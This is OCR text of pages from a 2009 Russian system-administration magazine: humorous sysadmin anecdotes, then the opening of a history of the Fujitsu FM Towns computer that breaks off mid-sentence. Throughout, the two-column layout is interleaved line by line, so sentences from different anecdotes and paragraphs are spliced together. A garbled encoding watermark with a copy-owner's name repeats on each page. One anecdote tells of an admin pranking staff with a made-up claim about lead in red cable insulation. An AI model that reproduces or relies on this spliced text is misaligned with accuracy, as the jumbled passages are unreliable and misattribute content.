ша. Даша, у тебя есть на NOD обновление?» Проклиная их обоих, В филиале по мере разрастания базы «1С» возникли пробле-
двигаю обратно в кабинет. Включаю комп, дядечка так же скеп- мы со скоростью работы пользователей.
тически протягивает флешку. Скидываю обновление, открываю Решение лежало на поверхности – установка MS SQL Server
папку Install и спрашиваю: «Может, еще чего нужно?» и перенос базы «1С» туда, но затраты на него не соответство-
В общем, к уходу дядечка был просто переполнен уважени- вали бюджету филиала. Перевод всех юзеров в терминал тоже
ем ко мне. по ряду причин не был решением. В общем, много было разгово-
Люблю разбивать стереотипы. ров об этом с разными людьми. Нет смысла приводить все под-
dasha_chikaidze робности, и так затянул байку свою.
В результате у руководителя филиала сложилось стойкое впе-
чатление, что ему нужно за немалые деньги купить некий Сэкуэль.
Кактусы – прошлый век И еще он подумал, что это нечто материальное, аппаратный блок.
Работал я некоторое время назад в госструктуре админом, и бы- Я ему, конечно, сразу все объяснил, и вопрос был закрыт.
ла у нас бухгалтерия размером в 20 с лишним лиц. Вытребовали А вечером, за кружкой пива, поведал эту историю товарищу.
они у начальства себе принтер сетевой... Хороший такой, лазер- И наше больное пьяное воображение стало выдавать дикие
ный, А3 – HP5500 (по-моему), и принт-сервер к нему до кучи. По- вещи... PCI SQL, SQL с USB-интерфейсом, Firewire SQL...
работали, порадовались, но через некоторое время учуяли они,
что в разгар рабочего дня очень озоном пахнет в кабинете. Обна- Анатолий Рупаков
ружили, что это принтер так попахивает и давай меня пытать, мол,
«не опасно ли это, и как от этого избавиться?». Доставали доста-
точно долго, и в один прекрасный момент, чтоб от меня отстали, Уходя, гасите всё
сказал я им, что необходимо принтер заземлить, ткнул пальцем Стоит в нашей конторе прямо в камеральном зале сервер. Сто-
в самый большой торчащий винт из корпуса принтера и заявил, ит на расстоянии вытянутой руки от одного из операторов, да так,
что провод должен быть не меньше 2 мм сечения и исключительно что пока этот оператор сидит на своем месте, к серверу никто
в красной обмотке. Мотивируя это тем, что только красная крас- не подойдет.
ка, которую добавляют для придания цвета, имеет в своем соста- И вот 2 дня назад в конторе вырубается свет. Жду минуту, две,
ве свинец. А свинец, как известно, хороший экран от радиации… три... начинаю вырубать все воркстэйшены, пока их ИБП не вы-
Успокоился и пошел по своим делам… Прошло дня три, зашел я рубились. Остается один сервер. Жду еще минутку и говорю то-
в бухгалтерию за каким-то доком… Рядом с принтером стоит ог- му юзеру – выруби, мол, сервер, света все равно не будет. И этот
роменная кадушка с какой то декоративной то ли пальмой, то ли олень берет, одним движением руки выключает оба питающих
фикусом, а от большого винта на принтере тянется толстенный сервер ИБП. На вопрос, а зачем он так сделал, ответил, что по-
красный кабель, воткнутый в эту кадушку… Инсталляция сия сто- ка я целый месяц был в отпуске, он каждый день так выключал
яла вплоть до того момента, как я уволился, радуя меня своей не- сервер на ночь.
затейливостью и внушая веру в разумность моих бухов... И этому человеку я до отпуска инструкцию с фотками дал,
как надо проводить данную операцию, но он решил ограничить-
Иван Матвиенко ся последним пунктом: «5) выключить оба ИБП».
P.S. Случай забавный потому, что я сам дважды чуть не выру-
бал сервак таким образом, но это после самых напряженных ра-
Повышение бот, и к тому же меня выручало, что ИБП 2 штуки.
Меня сегодня внесли в наш «Зал славы» отдела кадров. Мой на-
чальник написал заяву, чтоб меня повысили, но так как в стране Иван Себиков
кризис, то он написал перевод без повышения зарплаты, т.е. «пе-
ревести... на должность зам. начальника... без повышения зара-
ботной платы». Проблема в том, что он забыл слово «повышения». По материалам сайта «Сисадмин тоже человек» –
Просто замотался и т. д. Видели бы вы глаза менеджера отдела http://sysadmin.mail.ru

№2, февраль 2009 85


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
ретроспектива

Компьютер, опередивший время:


история Fujitsu FM Towns
Каким мог быть сегодняшний мир,
если бы в 1990 году мы располагали компьютером
с процессором i386, 8 Мб ОЗУ и приводом CD-ROM?

Джои Ито, инвестор, о компьютере FM Towns

Дмитрий Мороз

Персональный компьютер на базе нового процессора 80386 компании Intel в 1990 году
был явлением обыденным. А что если кроме него система могла похвастать приводом
CD‑ROM, графическими режимами с большим разрешением и одновременным отображением
десятков тысяч цветов, высококачественным звуком, операционной системой с графическим
пользовательским интерфейсом, загружавшейся с компакт-диска? Фантастика? Нет, имя
этому компьютеру – Fujitsu FM Towns.

86
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
ретроспектива

С
редства мультимедиа, получив- поддерживающей иероглифы. Слу-
шие широкое распространение чилось это в 1982 году, когда на при-
в персональных компьютерах лавках магазинов появилась модель
в середине 90-х годов прошлого ве- PC-9801.
ка, своим появлением во многом обя- Руководство NEC быстро осозна-
заны японской индустрии. Предприя- ло, что главным двигателем продаж
тия Страны восходящего солнца ещё на рынке персональных компьютеров
десять лет назад начали поставлять являются совместимость и програм-
на внутренний рынок системы с бо- мное обеспечение. Чем больше про-
гатыми возможностями по отображе- грамм создаётся под платформу, тем
нию графики и воспроизведению зву- более привлекательной она стано-
ка. Впрочем, изначально с конвейеров вится для потенциального покупате-
сходили всё те же «безликие» ПК. ля. А с ростом количества пользова-
Когда в 1981 году компания IBM вы- телей всё больше компаний решается
пустила свой первый персональный писать программы для неё.
компьютер, он сразу получил широкое NEC начала сотрудничать с разра-
распространение на столах офисных ботчиками ПО с целью предоставить
сотрудников и их начальников. Одна- им новейшие образцы аппаратного
ко популярность IBM PC была не без- обеспечения, техническую докумен-
граничной: на том же рынке Японии эта тацию, помощь в решении возникших
архитектура не прижилась. проблем и т. д.
Sharp X68000 – один из главных
Главная проблема заключалась Как итог – PC-9801 на многие го- конкурентов FM Towns на рынке
в японском языке, использовавшем ки- ды стал наиболее популярным персо-
тайские иероглифы (Кандзи): для отоб- нальным компьютером на рынке Япо- модификации). Графические и звуко-
ражения каждого из них на компьютер- нии. Он был построен на базе процес- вые возможности X68000 были очень
ном мониторе требовалась площадь, сора Intel 8086, обладал 128 Кб опера- похожими на применявшиеся в аркад-
в среднем 16х16 пикселей. Стандарт тивной памяти с возможностью расши- ных игровых автоматах того времени,
CGA (640х200), применявшийся в IBM рения до 640 Кб, поддержкой уже упо- благодаря чему разработчики игр мог-
PC XT, был слишком «беден» для отоб- минавшегося ранее графического ре- ли без особого труда переносить свои
ражения текста на японском языке, жима 640х400 пикселей c возможно- продукты на этот компьютер.
вследствие чего производители ком- стью выводить 16 цветов из палитры X68000 считалась идеальной раз-
пьютерных систем Японии разраба- в 4096 оттенков одновременно, а также влекательной системой, пока в 1989 го-
тывали собственные графические ре- 3-канальным синтезатором FM-звука. ду компания Fujitsu не представила
жимы и адаптеры, обеспечивавшие Несмотря на изначальную ориен- свой ответ NEC и Sharp. Вышедший
вдвое большее по вертикали разре- тацию PC-9801 на бизнес-сектор, раз- на рынок Японии в феврале FM Towns
шение 640х400 пикселей. работчики ПО в краткие сроки созда- по праву считается первым мульти-
В 1982 году компания NEC, наблю- ли тысячи игр для этого компьютера, медийным персональным компьюте-
дая за успехами персональных ком- что позволило ему получить статус са- ром в мире.
пьютеров на рынках США и Европы, мой распространённой компьютерной Поскольку все компьютеры компа-
первой решила перенять опыт запад- игровой платформы в стране. нии в то время получали свои кодовые
ных коллег. Глава отделения компа- Однако конкуренты NEC не собира- имена в честь лауреатов Нобелевской
нии по разработке персональных ком- лись сидеть сложа руки и также пош- премии, FM Towns своим названием
пьютеров Юкио Мизуно (Yukio Mizuno) ли по её пути. К середине 80‑х годов был обязан физику Чарльзу Харду Та-
обратился к компании Microsoft с це- Microsoft, осознав потенциал своей унсу (Charles Hard Townes), получивше-
лью уговорить её разработать версию операционной системы на рынке Япо- му её в 1964 году. FM же расшифровы-
операционной системы MS-DOS для нии, самостоятельно взялась за со- валось как «Fujitsu Micro».
японского рынка, поддерживавшую вершенствование японской версии
иероглифы. MS‑DOS, продавая её уже не только «Возможности
Однако Билл Гейтс (Bill Gates) от- NEC, но и другим производителям ком- безграничны»
ветил отказом из-за желания вначале пьютеров в этой стране. Данный подзаголовок является офи-
закрепиться на рынке США. Впрочем, В марте 1987 года компания Sharp циальным слоганом компании Fujitsu
Мизуно уехал домой не с пустыми ру- предоставила свой компьютер X68000, и вынесен он мной неспроста. Не-
ками – Microsoft снабдила его всем не- ориентированный на домашнее ис- смотря на то что FM Towns относился
обходимым программным обеспече- пользование. Модель обладала весь- к разряду персональных компьютеров,
нием для самостоятельной доработ- ма продвинутыми аппаратными харак- по своим характеристикам и возмож-
ки MS‑DOS. В итоге NEC стала пер- теристиками: процессором Motorola
вой компанией на рынке Страны вос- 68000, работавшим на частоте 10 МГц,
ходящего солнца, выпустив компью- 1 Мб ОЗУ, возможностью подключе-
тер с операционной системой Microsoft, ния жёсткого диска (более поздние Логотип FM Towns

№2, февраль 2009 87


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
ретроспектива

От FM77AV новый компьютер Fujitsu унаследовал её богатые


Fujitsu FM R, ставший основой архитектуры FM Towns графические и звуковые возможности

ностям он опережал практически все жимом 640х480 пикселей и отображе- TownsOS, которая загружалась с ком-
существовавшие на то время систе- нием 16 цветов, что позволяло компью- пакт-диска.
мы. Сразу стоит отметить, что, несмот- теру выводить одновременно не толь- Стоит также отметить, что Fujitsu
ря на использующийся процессор i386, ко многоцветную графику с низким позволяла сторонним компаниям-раз-
а также возможность работы под уп- разрешением, но и иероглифический работчикам ПО за минимальное де-
равлением MS-DOS, FM Towns не был текст в высоком разрешении. Система нежное отчисление записывать ба-
аппаратно совместим с IBM PC, во вся- была способна отображать одновре- зовые компоненты TownsOS на свои
ком случае на первых порах. менно до 1024 спрайтов с разрешени- компакт-диски. В результате програм-
Дабы не изобретать велосипед, ем 16х16 пикселей каждый. Функции мное обеспечение могло быть запуще-
в качестве основы при проектиро- увеличения и вращения экрана были но на компьютере без необходимости
вании нового компьютера инженеры реализованы на аппаратном уровне первоначальной загрузки всей опера-
Fujitsu воспользовались архитекту- и выполнялись при помощи одной ко- ционной системы целиком. То же са-
рой компьютера FM R-50, выпущен- манды. Текст, спрайты и графика име- мое касалось и игр – пользователи FM
ного в 1986 году и ориентированного ли собственное видео-ОЗУ общим объ- Towns могли играть в них без каких-ли-
на бизнес-рынок. От него FM Towns ёмом 640 Кб, благодаря чему могли вы- бо загрузочных дискет и даже без жёс-
унаследовал базовую функциональ- водиться на экран одновременно. ткого диска.
ность: процессор i386 с частотой За аудиочасть компьютера отвеча- Что же касается совместимос-
16 МГц, возможность установки допол- ли две отдельные микросхемы: Ricoh ти с программным обеспечением
нительного сопроцессора i387, 1 Мб RF5C68 обеспечивал воспроизведе- для платформы IBM PC, она была до-
оперативной памяти, расширяемой ние 8-канального PCM-звука, тогда как стигнута за счёт использования специ-
до 64 Мб, порт SCSI для подключения Yamaha YM-2612 отвечала за 6-каналь- альной версии MS-DOS, а также рас-
жёстких дисков и другой периферии, ный FM-синтез музыки. Встроенная ширителя DOS Extender компании Phar
один или два 3,5-дюймовых флоппи- функция караоке позволяла при помо- Lap с возможностью адресации более
дисковода. Что же касается возмож- щи поставлявшегося в комплекте про- 1 Мб оперативной памяти.
ностей по обработке графики и звука, граммного обеспечения накладывать Картину совершенства FM Towns
они достались ему от ещё одной сис- на голос поющего различные эффек- довершал тёмно-серый корпус весь-
темы, FM77AV, однако были значитель- ты, например, эхо. ма нестандартной внешности. Боль-
но расширены. Но самое главное новшество за- шую часть его передней панели зани-
Компьютер обладал множеством ключалось в оснащении FM Towns мал привод CD-ROM с вертикальной
графических режимов: при разреше- приводом для чтения дисков CD-ROM загрузкой, флоппи-дисководы, диск-
нии 640х480 пикселей он мог выводить объёмом 540 Мб, в результате чего ретный регулятор громкости со свето-
одновременно 256 цветов из палит- этот компьютер стал первым ПК в ми- диодной полосой индикации её уров-
ры в 16 миллионов оттенков. При по- ре, использующим компакт-диски в ка- ня, разъёмы для микрофона, наушни-
нижении разрешения до 330х480 пик- честве источника данных. А благода- ков, а также клавиатуры, мыши и гейм-
селей на экран одновременно выводи- ря поддержке стандарта Red Book ком- пада.
лось до 32768 цветов. Но это ещё не пьютер Fujitsu без проблем проигры- Всё в FM Towns говорило о превос-
всё: графический чип FM Towns обла- вал аудио-CD. ходстве к